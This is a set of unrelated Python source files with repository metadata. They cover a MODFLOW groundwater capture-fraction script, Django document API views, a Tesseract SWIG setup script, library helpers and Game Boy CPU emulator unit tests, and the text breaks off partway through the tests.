#Import packages import numpy as np import matplotlib as mpl import matplotlib.pyplot as plt import sys from subprocess import Popen #Add flopy to the path and then import it flopypath = '..\\flopy' if flopypath not in sys.path: sys.path.append(flopypath) from mf import * from mfreadbinaries import mfhdsread, mfcbcread #Grid and model information nlay = 1 ncol = 21 nrow = 21 Lx = 19200.0 Ly = 19200.0 top = 0.0 bot = -100.0 kh = 1.00 kv = 1.00 ss = 1.0e-04 sy = 0.1 delr = Lx / float(ncol - 1) delc = Ly / float(nrow - 1) item3 = [[1,0,1,0]] laytyp = 0 h1 = 48. h2 = 40. Qwell = -1000. #Solver information mxiter=100 iter1=50 hclose = 1.e-4 rclose = 1.e-2 #Temporal information nper = 1 perlen = [1.0] nstp = [1] tsmult = [1.0] steady = [True] #Ibound and startinf heads ibound = np.ones((nrow, ncol, nlay),'int') ibound[:,0,:] = -1; ibound[:,-1,:] = -1 start = np.zeros((nrow, ncol, nlay)) start[:,0,:] = h1 start[:,-1,:] = h2 #Well data wlist = [ [ nlay, (ncol - 1) / 2 + 1, (nrow - 1) / 2 + 1, 0.] ] #River data rivstg = np.linspace(h1, h2, num=ncol) rivcol = np.arange(ncol) rivrow = np.sin(rivcol / 10.) * nrow / 3. + int(nrow / 2.) rivlist = [] cond = 10. rbot = 0. for i in range(1, ncol-1): rivlist.append( [1, int(rivrow[i]), rivcol[i], rivstg[i], cond, rbot] ) rivlist = [rivlist] name = 'mf' os.system('del '+name+'.*') ml = modflow(modelname=name, version='mf2005', exe_name='mf2005.exe') discret = mfdis(ml,nrow=nrow,ncol=ncol,nlay=nlay,delr=delr,delc=delc,laycbd=0, top=top,botm=bot,nper=nper,perlen=perlen,nstp=nstp, tsmult=tsmult,steady=steady) bas = mfbas(ml,ibound=ibound,strt=start) lpf = mflpf(ml, hk=kh, vka=kv, ss=ss, sy=sy, laytyp=laytyp) well = mfwel(ml, layer_row_column_Q=wlist) riv = mfriv(ml, layer_row_column_Q=rivlist, irivcb=53) oc = mfoc(ml,ihedfm=2,item3=item3) pcg = mfpcg(ml,hclose=hclose,rclose=rclose,mxiter=mxiter,iter1=iter1) #write input and run the model ml.write_input() Popen(['mf2005.exe', name + '.nam']).communicate()[0] times, cbc, stringscbc = mfcbcread(ml, compiler='i').read_all(name + '.cbc') times, head, stringshds = mfhdsread(ml, compiler='i').read_all(name + '.hds') try: plt.close() except: pass plt.figure() extent = (0, Lx, 0, Ly) plt.imshow(head[0][:, :, 0], interpolation='nearest', extent=extent) plt.title('Base Case Head') plt.xlabel('X') plt.ylabel('Y') plt.savefig('base.png') rivleak = cbc[0][3][:, :, 0] netrivleakbase = rivleak.sum() try: plt.close() except: pass plt.figure() plt.imshow(rivleak, interpolation='nearest', extent=extent) plt.colorbar() plt.title('Base Case River Leakage') plt.xlabel('X') plt.ylabel('Y') plt.savefig('baseleak.png') cf = np.zeros((nrow, ncol), dtype=float) for i in xrange(nrow): for j in xrange(ncol): wlist = [ [ 1, i + 1, j + 1, Qwell] ] ml.remove_package('WEL') mfwel(ml, layer_row_column_Q=wlist) ml.write_input() Popen(['mf2005.exe', name + '.nam']).communicate()[0] print 'Model completed.' times, cbc, stringscbc = mfcbcread(ml, compiler='i').read_all(name + '.cbc') rivleak = cbc[0][3] netrivleak = rivleak.sum() cf[i, j] = (netrivleak - netrivleakbase) / netrivleakbase print i + 1, j + 1, netrivleak, netrivleakbase, cf[i, j] try: plt.close() except: pass plt.figure() plt.imshow(cf, interpolation='nearest', extent=extent) plt.colorbar() plt.title('Capture Fraction') plt.xlabel('X') plt.ylabel('Y') plt.savefig('capture.png')
UTF-8
Python
false
false
2,012
18,502,719,133,660
da5642baeb049080e198faca48ac3519ae13d742
8364598f069503e5a5a9bd06c4d1ddbc16df30f6
/pandora/document/views.py
1a511d1bcb745f55995f04f5f65b7ceaf9662f48
[]
no_license
wafaa-yousef88/pandora_image_archive_private
https://github.com/wafaa-yousef88/pandora_image_archive_private
66af2efa1e38cd7a5e0a9c5156728f0853c1a31c
369fe0843e5ba92bbd784f91ae33d1ac2c6bf678
refs/heads/master
2021-01-25T09:59:31.497968
2014-01-22T13:15:25
2014-01-22T13:15:25
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
# -*- coding: utf-8 -*- # vi:si:et:sw=4:sts=4:ts=4 from __future__ import division from ox.utils import json from ox.django.api import actions from ox.django.decorators import login_required_json from ox.django.http import HttpFileResponse from ox.django.shortcuts import render_to_json_response, get_object_or_404_json, json_response from django import forms from item import utils from item.models import Item import models def get_document_or_404_json(id): return models.Document.get(id) @login_required_json def addDocument(request): ''' add document(s) to item takes { item: string id: string or ids: [string] } returns { } ''' response = json_response() data = json.loads(request.POST['data']) if 'ids' in data: ids = data['ids'] else: ids = [data['id']] item = Item.objects.get(itemId=data['item']) if item.editable(request.user): for id in ids: document = models.Document.get(id) document.add(item) else: response = json_response(status=403, text='permission denied') return render_to_json_response(response) actions.register(addDocument, cache=False) @login_required_json def editDocument(request): ''' takes { id: string name: string description: string item(optional): edit descriptoin per item } returns { id: ... } ''' response = json_response() data = json.loads(request.POST['data']) item = 'item' in data and Item.objects.get(itemId=data['item']) or None if data['id']: document = models.Document.get(data['id']) if document.editable(request.user): document.edit(data, request.user, item=item) document.save() response['data'] = document.json(user=request.user, item=item) else: response = json_response(status=403, text='permission denied') else: response = json_response(status=500, text='invalid request') return render_to_json_response(response) actions.register(editDocument, cache=False) def _order_query(qs, sort): order_by = [] for e in sort: operator = e['operator'] if operator != '-': operator = '' key = { 'name': 'name_sort', 'description': 'description_sort', }.get(e['key'], e['key']) if key == 'resolution': order_by.append('%swidth'%operator) order_by.append('%sheight'%operator) else: order = '%s%s' % (operator, key) order_by.append(order) if order_by: qs = qs.order_by(*order_by) qs = qs.distinct() return qs def parse_query(data, user): query = {} query['range'] = [0, 100] query['sort'] = [{'key':'user', 'operator':'+'}, {'key':'name', 'operator':'+'}] for key in ('keys', 'group', 'file', 'range', 'position', 'positions', 'sort'): if key in data: query[key] = data[key] query['qs'] = models.Document.objects.find(data, user).exclude(name='') return query def findDocuments(request): ''' takes { query: { conditions: [ { key: 'user', value: 'something', operator: '=' } ] operator: "," }, sort: [{key: 'name', operator: '+'}], range: [0, 100] keys: [] } possible query keys: name, user, extension, size possible keys: name, user, extension, size } returns { items: [object] } ''' data = json.loads(request.POST['data']) query = parse_query(data, request.user) #order qs = _order_query(query['qs'], query['sort']) response = json_response() if 'keys' in data: qs = qs[query['range'][0]:query['range'][1]] response['data']['items'] = [l.json(data['keys'], request.user) for l in qs] elif 'position' in data: #FIXME: actually implement position requests response['data']['position'] = 0 elif 'positions' in data: ids = [i.get_id() for i in qs] response['data']['positions'] = utils.get_positions(ids, query['positions']) else: response['data']['items'] = qs.count() return render_to_json_response(response) actions.register(findDocuments) @login_required_json def removeDocument(request): ''' takes { id: string, or ids: [string] item: string } if item is passed, remove relation to item otherwise remove document returns { } ''' data = json.loads(request.POST['data']) response = json_response() if 'ids' in data: ids = data['ids'] else: ids = [data['id']] item = 'item' in data and Item.objects.get(itemId=data['item']) or None if item: if item.editable(request.user): for id in ids: document = models.Document.get(id) document.remove(item) else: response = json_response(status=403, text='not allowed') else: for id in ids: document = models.Document.get(id) if document.editable(request.user): document.delete() else: response = json_response(status=403, text='not allowed') break return render_to_json_response(response) actions.register(removeDocument, cache=False) @login_required_json def sortDocuments(request): ''' takes { item: string ids: [string] } returns { } ''' data = json.loads(request.POST['data']) index = 0 item = Item.objects.get(itemId=data['item']) ids = data['ids'] if item.editable(request.user): for i in ids: document = models.Document.get(i) models.ItemProperties.objects.filter(item=item, document=document).update(index=index) index += 1 response = json_response() else: response = json_response(status=403, text='permission denied') return render_to_json_response(response) actions.register(sortDocuments, cache=False) def file(request, id, name=None): document = models.Document.get(id) return HttpFileResponse(document.file.path) def thumbnail(request, id, size=256): size = int(size) document = models.Document.get(id) return HttpFileResponse(document.thumbnail(size)) class ChunkForm(forms.Form): chunk = forms.FileField() chunkId = forms.IntegerField(required=False) done = forms.IntegerField(required=False) @login_required_json def upload(request): if 'id' in request.GET: file = models.Document.get(request.GET['id']) else: extension = request.POST['filename'].split('.') name = '.'.join(extension[:-1]) extension = extension[-1].lower() response = json_response(status=400, text='this request requires POST') if 'chunk' in request.FILES: form = ChunkForm(request.POST, request.FILES) if form.is_valid() and file.editable(request.user): c = form.cleaned_data['chunk'] chunk_id = form.cleaned_data['chunkId'] response = { 'result': 1, 'id': file.get_id(), 'resultUrl': request.build_absolute_uri(file.get_absolute_url()) } if not file.save_chunk(c, chunk_id, form.cleaned_data['done']): response['result'] = -1 if form.cleaned_data['done']: response['done'] = 1 return render_to_json_response(response) #init upload else: created = False num = 1 _name = name while not created: file, created = models.Document.objects.get_or_create( user=request.user, name=name, extension=extension) if not created: num += 1 name = _name + ' [%d]' % num file.name = name file.extension = extension file.uploading = True file.save() upload_url = request.build_absolute_uri('/api/upload/document?id=%s' % file.get_id()) return render_to_json_response({ 'uploadUrl': upload_url, 'url': request.build_absolute_uri(file.get_absolute_url()), 'result': 1 }) return render_to_json_response(response)
UTF-8
Python
false
false
2,014
5,282,809,797,974
4946da96146c10c230a81e8fc55dc18d6aa70c41
aafded28723bd24edbe69789fe58f1788117eaef
/setup.py
4e73566fe92163e1e7afbeb3b1a17f8efa36ea34
[]
no_license
amitdo/pytess
https://github.com/amitdo/pytess
3298fc256ed455dda95a842014938e733b37244f
e56a368195ab97730831c8762a2d864bef49f2b3
refs/heads/master
2016-08-12T05:42:10.131476
2012-11-20T14:00:56
2012-11-20T14:00:56
44,490,980
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/env python import os from distutils.core import setup, Extension # remove warning flags; they generate excessive warnings with swig from distutils.sysconfig import get_config_vars (opt,) = get_config_vars('OPT') opts = [x for x in opt.split() if "-W" not in x] os.environ["OPT"] = " ".join(opts) include_dirs = ['/usr/local/include',"/usr/include/tesseract"] swig_opts = ["-c++"] + ["-I" + d for d in include_dirs] swiglib = os.popen("swig -swiglib").read()[:-1] sources = [] tess = Extension('_tess', swig_opts = swig_opts, include_dirs = include_dirs, libraries = ["tesseract"], sources=['tess.i']+sources) setup (name = 'tess', version = '0.0', author = "tmb", description = "Tesseract API bindings", ext_modules = [tess], py_modules = ["tess"], scripts = ["tess-lines"], )
UTF-8
Python
false
false
2,012
4,715,874,114,655
f63f2f1b0bec09183ba8e274a14708481e5fac5c
0e3ff3adb34a06d30af4f6b0ffe8cd311b114a83
/turbogears/HelloWorld/helloworld/websetup/bootstrap.py
3296369bedfb6ec1bead08dabaa238e2ba62ca0c
[]
no_license
hlship/the-great-web-framework-shootout
https://github.com/hlship/the-great-web-framework-shootout
659f6d8c4b30b23e17280b343ea81e06357229a2
4f31099855ad97ff94c8d816397ded09ec83bfcd
refs/heads/master
2021-01-18T10:29:56.104165
2012-02-28T00:26:24
2012-02-28T00:26:44
3,564,757
1
0
null
null
null
null
null
null
null
null
null
null
null
null
null
# -*- coding: utf-8 -*- """Setup the HelloWorld application""" import logging from tg import config from helloworld import model import transaction def bootstrap(command, conf, vars): """Place any commands to setup helloworld here""" # <websetup.bootstrap.before.auth # <websetup.bootstrap.after.auth>
UTF-8
Python
false
false
2,012
13,546,326,853,223
fff57532cdabf1389ee136d86cef5636a5958579
0d4539af73740811a3c29df042790ad0aab09aeb
/buildout/eggs/pyproj-1.9.2-py2.7-linux-x86_64.egg/pyproj/geomath.py
c6f968bda3a0be8eb3165b58d808d20b99f740f9
[]
no_license
bopopescu/tilecloud-chain-cache
https://github.com/bopopescu/tilecloud-chain-cache
e092c696b28c8419ef226404160fcf526ba63f74
20915b3ce7a55bec25505533ba10ed40da512fde
refs/heads/master
2022-11-29T11:11:16.681736
2014-03-15T12:58:21
2014-03-15T13:02:28
282,521,483
0
0
null
true
2020-07-25T20:40:15
2020-07-25T20:40:15
2014-04-19T06:16:06
2014-03-15T13:13:28
18,260
0
0
0
null
false
false
# geomath.py # # This is a rather literal translation of the GeographicLib::Math class # to python. See the documentation for the C++ class for more # information at # # http://sourceforge.net/html/annotated.html # # Copyright (c) Charles Karney (2011) <[email protected]> and licensed # under the MIT/X11 License. For more information, see # http://sourceforge.net/ # # $Id: 9c5444e65f8541f8528ef2a504465e5565987c15 $ ###################################################################### import sys import math class Math(object): """ Additional math routines for GeographicLib. This defines constants: epsilon, difference between 1 and the next bigger number minval, minimum positive number maxval, maximum finite number degree, the number of radians in a degree nan, not a number int, infinity """ epsilon = math.pow(2.0, -52) minval = math.pow(2.0, -1022) maxval = math.pow(2.0, 1023) * (2 - epsilon) degree = math.pi/180 try: # Python 2.6+ nan = float("nan") inf = float("inf") except ValueError: nan = float(1e400 * 0) inf = float(1e400) def sq(x): """Square a number""" return x * x sq = staticmethod(sq) def cbrt(x): """Real cube root of a number""" y = math.pow(abs(x), 1/3.0) return cmp(x, 0) * y cbrt = staticmethod(cbrt) def log1p(x): """log(1 + x) accurate for small x (missing from python 2.5.2)""" if sys.version_info > (2, 6): return math.log1p(x) y = 1 + x z = y - 1 # Here's the explanation for this magic: y = 1 + z, exactly, and z # approx x, thus log(y)/z (which is nearly constant near z = 0) returns # a good approximation to the true log(1 + x)/x. The multiplication x * # (log(y)/z) introduces little additional error. if z == 0: return x else: return x * math.log(y) / z log1p = staticmethod(log1p) def atanh(x): """atanh(x) (missing from python 2.5.2)""" if sys.version_info > (2, 6): return math.atanh(x) y = abs(x) # Enforce odd parity y = Math.log1p(2 * y/(1 - y))/2 return cmp(x, 0) * y atanh = staticmethod(atanh) def isfinite(x): """Test for finiteness""" return abs(x) <= Math.maxval isfinite = staticmethod(isfinite)
UTF-8
Python
false
false
2,014
11,682,311,053,275
fa38d6ea85819c6b6faaedc4a78771b6f4181f0d
d2fe7ed6eb7fd0e7740346306eea28e959db763b
/scratch/very_scratch/get_vertices.py
8cd717ec92ffffd915b1093d568c2a16ef56bbf6
[ "BSD-3-Clause" ]
permissive
cournape/dipy
https://github.com/cournape/dipy
9d58b124fb96f2ccf5799e5a07878acd0d7db3a4
19b693d832bba0e9010b42f326775f88ba83cc78
refs/heads/master
2021-01-15T20:18:00.417781
2011-02-19T23:13:45
2011-02-19T23:13:45
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
sphere_dic = {'fy362': {'filepath' : '/home/ian/Devel/dipy/dipy/core/matrices/evenly_distributed_sphere_362.npz', 'object': 'npz', 'vertices': 'vertices', 'omit': 0, 'hemi': False}, 'fy642': {'filepath' : '/home/ian/Devel/dipy/dipy/core/matrices/evenly_distributed_sphere_642.npz', 'object': 'npz', 'vertices': 'odf_vertices', 'omit': 0, 'hemi': False}, 'siem64': {'filepath':'/home/ian/Devel/dipy/dipy/core/tests/data/small_64D.gradients.npy', 'object': 'npy', 'omit': 1, 'hemi': True}, 'create2': {}, 'create3': {}, 'create4': {}, 'create5': {}, 'create6': {}, 'create7': {}, 'create8': {}, 'create9': {}, 'marta200': {'filepath': '/home/ian/Data/Spheres/200.npy', 'object': 'npy', 'omit': 0, 'hemi': True}, 'dsi102': {'filepath': '/home/ian/Data/Frank_Eleftherios/frank/20100511_m030y_cbu100624/08_ep2d_advdiff_101dir_DSI', 'object': 'dicom', 'omit': 1, 'hemi': True}} import numpy as np from dipy.core.triangle_subdivide import create_unit_sphere from dipy.io import dicomreaders as dcm def get_vertex_set(key): if key[:6] == 'create': number = eval(key[6:]) vertices, edges, faces = create_unit_sphere(number) omit = 0 else: entry = sphere_dic[key] if entry.has_key('omit'): omit = entry['omit'] else: omit = 0 filepath = entry['filepath'] if entry['object'] == 'npz': filearray = np.load(filepath) vertices = filearray[entry['vertices']] elif sphere_dic[key]['object'] == 'npy': vertices = np.load(filepath) elif entry['object'] == 'dicom': data,affine,bvals,gradients=dcm.read_mosaic_dir(filepath) #print (bvals.shape, gradients.shape) grad3 = np.vstack((bvals,bvals,bvals)).transpose() #print grad3.shape #vertices = grad3*gradients vertices = gradients if omit > 0: vertices = vertices[omit:,:] if entry['hemi']: vertices = np.vstack([vertices, -vertices]) return vertices[omit:,:]
UTF-8
Python
false
false
2,011
11,398,843,205,601
48f43346f0c3141fd164f03fc20d55f4cb8d5b19
9a0a863d214a67ba376539d193e5c6bb86d8eea6
/MustacheGen.py
1a2c0ebebcb045349ff85a9e104755d4379f5e5d
[]
no_license
MOON-CLJ/MustacheGen
https://github.com/MOON-CLJ/MustacheGen
8698d061d63bd2c8fe55578fbc6a81fb58200abd
11d311913cf1e912b1c98257e11acafb1e5b0ded
refs/heads/master
2017-10-16T09:14:11.298670
2012-12-21T17:04:34
2012-12-21T17:04:34
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import pystache import json from optparse import OptionParser parser = OptionParser() parser.add_option("-c", "--config", dest="configFile", help="load the config from the FILE", metavar="FILE") parser.add_option("-t", "--template", dest="templateFile", help="load the template from the FILE", metavar="FILE") parser.add_option("-q", "--quiet", action="store_false", dest="verbose", default=True, help="don't print status messages to stdout") (options, args) = parser.parse_args() json_file = open(options.configFile) data = json.load(json_file) json_file.close() template_file = open(options.templateFile) template = template_file.read() print pystache.render(template, data)
UTF-8
Python
false
false
2,012
5,231,270,210,386
1abbbbb8826b8be8ddb909ed37130546badc8989
82391c61f412ee4faa240e616db734b501521c94
/src/python/CPU_Tests.py
9c317b80aa46085acc2b6e09182748902a1ba3b7
[]
no_license
blanham/AsobiOtoko
https://github.com/blanham/AsobiOtoko
8a1674a5792fcc88e497beb40cebb0edc1bbdf03
1340c538293861f3cfc0bc8d0d90d8d14ce300f5
refs/heads/master
2021-01-18T03:22:41.561039
2013-05-07T06:06:41
2013-05-07T06:06:41
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from CPU import CPU import unittest #parent test class, inherit from this class TestCPU(unittest.TestCase): def SetUp(self): # automatically called but can recall self.cpu = CPU() self.cpu.mmu.bios_enabled = 0 def flags_test(self, flagDict, oldFlagsReg): map(lambda x: self.assertEqual(self.cpu.getFlag(x), flagDict[x]), flagDict.keys()) savedFlags = self.cpu['f'] currentFlags = {} map(lambda x: currentFlags.__setitem__(x, self.cpu.getFlag(x)), self.cpu.flags) oldFlags = {} self.cpu['f'] = oldFlagsReg map(lambda x: oldFlags.__setitem__(x, self.cpu.getFlag(x)), self.cpu.flags) #print "CurrentFlags: " #print currentFlags #print "OldFlags: " #print oldFlags self.cpu['f'] = savedFlags map(lambda x: self.assertEqual(oldFlags[x], currentFlags[x]), filter(lambda y: y not in flagDict.keys(), oldFlags.keys())) def DecTest(self, instruction, register): immediate = 0xa0 self.cpu[register] = immediate oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[register], immediate - 1) if len(register) == 1: self.flags_test({ 'sub': 1, 'halfcarry' : 1 }, oldFlags) immediate = 0x0 self.cpu[register] = immediate oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[register], (immediate - 1) & (2**(len(register)*8) - 1)) self.flags_test({ 'sub': 1, 'halfcarry' : 1 }, oldFlags) else: self.assertEqual(self.cpu['f'], oldFlags) def IncTest(self, instruction, register): immediate = 0xa0 self.cpu[register] = immediate oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[register], immediate + 1) if len(register) == 1: self.flags_test({ 'sub': 0, 'halfcarry' : 0 }, oldFlags) immediate = 0xff if len(register) == 1 else 0xffff self.cpu[register] = immediate oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[register], (immediate + 1) & (2**(len(register)*8) - 1)) self.flags_test({ 'zero' : 1, 'sub': 0, 'halfcarry' : 1 }, oldFlags) else: self.assertEqual(self.cpu['f'], oldFlags) def INC_XX_mem_test(self, instruction, addressReg): immediate = 0xa0 address = 0xface self.cpu[address] = immediate self.cpu[addressReg] = address oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[address], immediate + 1) self.flags_test({'sub':0, 'halfcarry':0}, oldFlags) immediate = 0xff self.cpu[address] = immediate self.cpu[addressReg] = address oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[address], (immediate + 1) & 255) self.flags_test({'zero': 1, 'sub':0, 'halfcarry':1}, oldFlags) def DEC_XX_mem_test(self, instruction, addressReg): immediate = 0xa0 address = 0xface self.cpu[address] = immediate self.cpu[addressReg] = address oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[address], immediate - 1) self.flags_test({'sub':1, 'halfcarry':1}, oldFlags) immediate = 0x00 self.cpu[address] = immediate self.cpu[addressReg] = address oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[address], (immediate - 1) & 255) self.flags_test({'sub':1, 'halfcarry':1}, oldFlags) def LD_X_n_test(self, instruction, register): immediate = 0b11101011 self.cpu[self.cpu['pc']+1] = immediate oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[register], immediate) self.flags_test({}, oldFlags) def RRC_X_test(self, instruction, register): immediate = 0b11101011 self.cpu[register] = immediate self.cpu.setFlag(zero=1) self.cpu.setFlag(halfcarry=1) oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[register], ((immediate & 0x01) << 7) + (immediate >> 1)) self.flags_test({'carry': 1, 'sub' : 0, 'halfcarry': 0, 'zero': 0}, oldFlags) immediate = 0b000000000 self.cpu[register] = immediate oldFlags = self.cpu['f'] self.cpu.setFlag(sub=1) self.cpu.setFlag(halfcarry=1) instruction(self.cpu) self.assertEqual(self.cpu[register], ((immediate & 0x01) << 7) + (immediate >> 1)) self.flags_test({'carry': 0, 'sub' : 0, 'halfcarry': 0, 'zero': 1}, oldFlags) def RRC_XX_mem_test(self, instruction, addressReg): immediate = 0b11101011 address = 0x1337 self.cpu[address] = immediate self.cpu[addressReg] = address self.cpu.setFlag(zero=1) self.cpu.setFlag(halfcarry=1) oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[address], ((immediate & 0x01) << 7) + (immediate >> 1)) self.flags_test({'carry': 1, 'sub' : 0, 'halfcarry': 0, 'zero': 0}, oldFlags) immediate = 0b000000000 self.cpu[address] = immediate oldFlags = self.cpu['f'] self.cpu.setFlag(sub=1) self.cpu.setFlag(halfcarry=1) instruction(self.cpu) self.assertEqual(self.cpu[address], ((immediate & 0x01) << 7) + (immediate >> 1)) self.flags_test({'carry': 0, 'sub' : 0, 'halfcarry': 0, 'zero': 1}, oldFlags) def RLC_X_test(self, instruction, register): immediate = 0b11101011 self.cpu[register] = immediate self.cpu.setFlags(['zero', 'sub', 'halfcarry']) oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[register], ((immediate << 1) & 255) + (immediate >> 7)) self.flags_test({'carry' : 1, 'sub': 0, 'halfcarry': 0, 'zero': 0}, oldFlags) immediate = 0b00000000 self.cpu[register] = immediate self.cpu.setFlags(['sub', 'halfcarry']) oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[register], ((immediate << 1) & 255) + (immediate >> 7)) self.flags_test({'carry' : 0, 'sub': 0, 'halfcarry': 0, 'zero': 1}, oldFlags) def RLC_XX_mem_test(self, instruction, addressReg): address = 0xface immediate = 0b11101011 self.cpu[address] = immediate self.cpu[addressReg] = address self.cpu.setFlags(['zero', 'sub', 'halfcarry']) oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[address], ((immediate << 1) & 255) + (immediate >> 7)) self.flags_test({'carry' : 1, 'sub': 0, 'halfcarry': 0, 'zero': 0}, oldFlags) immediate = 0b00000000 self.cpu[address] = immediate self.cpu.setFlags(['sub', 'halfcarry']) oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[address], ((immediate << 1) & 255) + (immediate >> 7)) self.flags_test({'carry' : 0, 'sub': 0, 'halfcarry': 0, 'zero': 1}, oldFlags) def LD_XX_nn_test(self, instruction, register): immediate = 0xface self.cpu.mmu.ww(self.cpu['pc']+1, immediate) oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[register], immediate) self.flags_test({}, oldFlags) def LD_XX_X_mem_test(self, instruction, addressReg, srcReg): immediate = 0xde self.cpu[addressReg] = 0xbeef self.cpu[srcReg] = immediate oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu.mmu.rw(0xbeef), immediate) self.flags_test({}, oldFlags) def LD_XX_n_mem_test(self, instruction, destAddressReg): immediate = 0xde address = 0x1337 self.cpu[self.cpu['pc']+1] = immediate self.cpu[destAddressReg] = address oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[address], immediate) self.flags_test({}, oldFlags) def LD_X_nn_test(self, instruction, dest): immediate = 0xde address = 0x1337 self.cpu.mmu.ww(self.cpu['pc']+1, address) self.cpu[address] = immediate oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[dest], immediate) self.flags_test({}, oldFlags) def RL_X_test(self, instruction, register): immediate = 0xad self.cpu[register] = immediate oldcarry = self.cpu.getFlag('carry') self.cpu.setFlags(['sub','halfcarry']) oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[register], ((immediate << 1) & 255) + oldcarry) self.flags_test({'carry': (immediate >> 7), 'sub': 0, 'halfcarry': 0, 'zero': 0}, oldFlags) immediate = 0x0 self.cpu[register] = immediate self.cpu.resetFlags(['carry']) oldcarry = self.cpu.getFlag('carry') oldFlags = self.cpu['f'] self.cpu.setFlags(['sub','halfcarry']) instruction(self.cpu) self.assertEqual(self.cpu[register], ((immediate << 1) & 255) + oldcarry) self.flags_test({'carry': 0, 'sub': 0, 'halfcarry': 0, 'zero': 1}, oldFlags) def RL_XX_mem_test(self, instruction, addressReg): address = 0xeeff immediate = 0xad self.cpu[address] = immediate self.cpu[addressReg] = address oldcarry = self.cpu.getFlag('carry') self.cpu.setFlags(['sub','halfcarry']) oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[address], ((immediate << 1) & 255) + oldcarry) self.flags_test({'carry': (immediate >> 7), 'sub': 0, 'halfcarry': 0, 'zero': 0}, oldFlags) immediate = 0x0 self.cpu[address] = immediate self.cpu.resetFlags(['carry']) oldcarry = self.cpu.getFlag('carry') oldFlags = self.cpu['f'] self.cpu.setFlags(['sub','halfcarry']) instruction(self.cpu) self.assertEqual(self.cpu[address], ((immediate << 1) & 255) + oldcarry) self.flags_test({'carry': 0, 'sub': 0, 'halfcarry': 0, 'zero': 1}, oldFlags) def RR_X_test(self, instruction, register): immediate = 0b11010110 self.cpu[register] = immediate oldcarry = self.cpu.getFlag('carry') self.cpu.setFlags(['sub', 'halfcarry']) oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[register], (immediate >> 1) + (oldcarry << 7)) self.flags_test({'carry': (immediate & 0x01), 'sub': 0, 'halfcarry': 0, 'zero': 0}, oldFlags) immediate = 0 self.cpu[register] = immediate self.cpu.setFlags(['sub', 'halfcarry']) self.cpu.resetFlags(['carry']) oldcarry = self.cpu.getFlag('carry') oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[register], (immediate >> 1) + (oldcarry << 7)) self.flags_test({'carry': 0, 'sub': 0, 'halfcarry': 0, 'zero': 1}, oldFlags) def RR_XX_mem_test(self, instruction, addressReg): address = 0xface immediate = 0b11010110 self.cpu[address] = immediate self.cpu[addressReg] = address oldcarry = self.cpu.getFlag('carry') self.cpu.setFlags(['sub', 'halfcarry']) oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[address], (immediate >> 1) + (oldcarry << 7)) self.flags_test({'carry': (immediate & 0x01), 'sub': 0, 'halfcarry': 0, 'zero': 0}, oldFlags) immediate = 0 self.cpu[address] = immediate self.cpu.setFlags(['sub', 'halfcarry']) self.cpu.resetFlags(['carry']) oldcarry = self.cpu.getFlag('carry') oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[address], (immediate >> 1) + (oldcarry << 7)) self.flags_test({'carry': 0, 'sub': 0, 'halfcarry': 0, 'zero': 1}, oldFlags) def ADD_X_X_test(self, instruction, reg1, reg2): immediate = 0x01 immediate2 = 0x02 if (reg1 != reg2) else immediate self.cpu[reg1] = immediate self.cpu[reg2] = immediate2 self.cpu.setFlags(['sub', 'halfcarry', 'carry', 'zero']) oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[reg1], immediate + immediate2) self.flags_test({'carry':0, 'zero':0, 'sub':0, 'halfcarry':0}, oldFlags) immediate = 0xac immediate2 = 0xff if (reg1 != reg2) else immediate self.cpu[reg1] = immediate self.cpu[reg2] = immediate2 self.cpu.setFlags(['sub', 'zero']) oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[reg1], (immediate + immediate2) & 255) self.flags_test({'carry':1, 'zero':0, 'sub':0, 'halfcarry':1}, oldFlags) immediate = 0x01 immediate2 = 0x0F if (reg1 != reg2) else immediate self.cpu[reg1] = immediate self.cpu[reg2] = immediate2 self.cpu.setFlags(['sub', 'carry', 'zero']) oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[reg1], immediate + immediate2) self.flags_test({'carry':0, 'zero':0, 'sub':0, 'halfcarry':(reg1 != reg2)}, oldFlags) def ADD_XX_XX_test(self, instruction, reg1, reg2): immediate = 0xac immediate2 = 0xa0bc if (reg1 != reg2) else 0xac self.cpu[reg1] = immediate self.cpu[reg2] = immediate2 self.cpu.setFlags(['zero', 'sub']) oldFlags = self.cpu['f'] instruction(self.cpu) self.assertEqual(self.cpu[reg1], (immediate + immediate2) & 65535) self.flags_test({'carry':0, 'sub':0, 'zero':1, 'halfcarry':1, 'carry':0}, oldFlags) immediate = 0xffff immediate2 = 0xa0 if 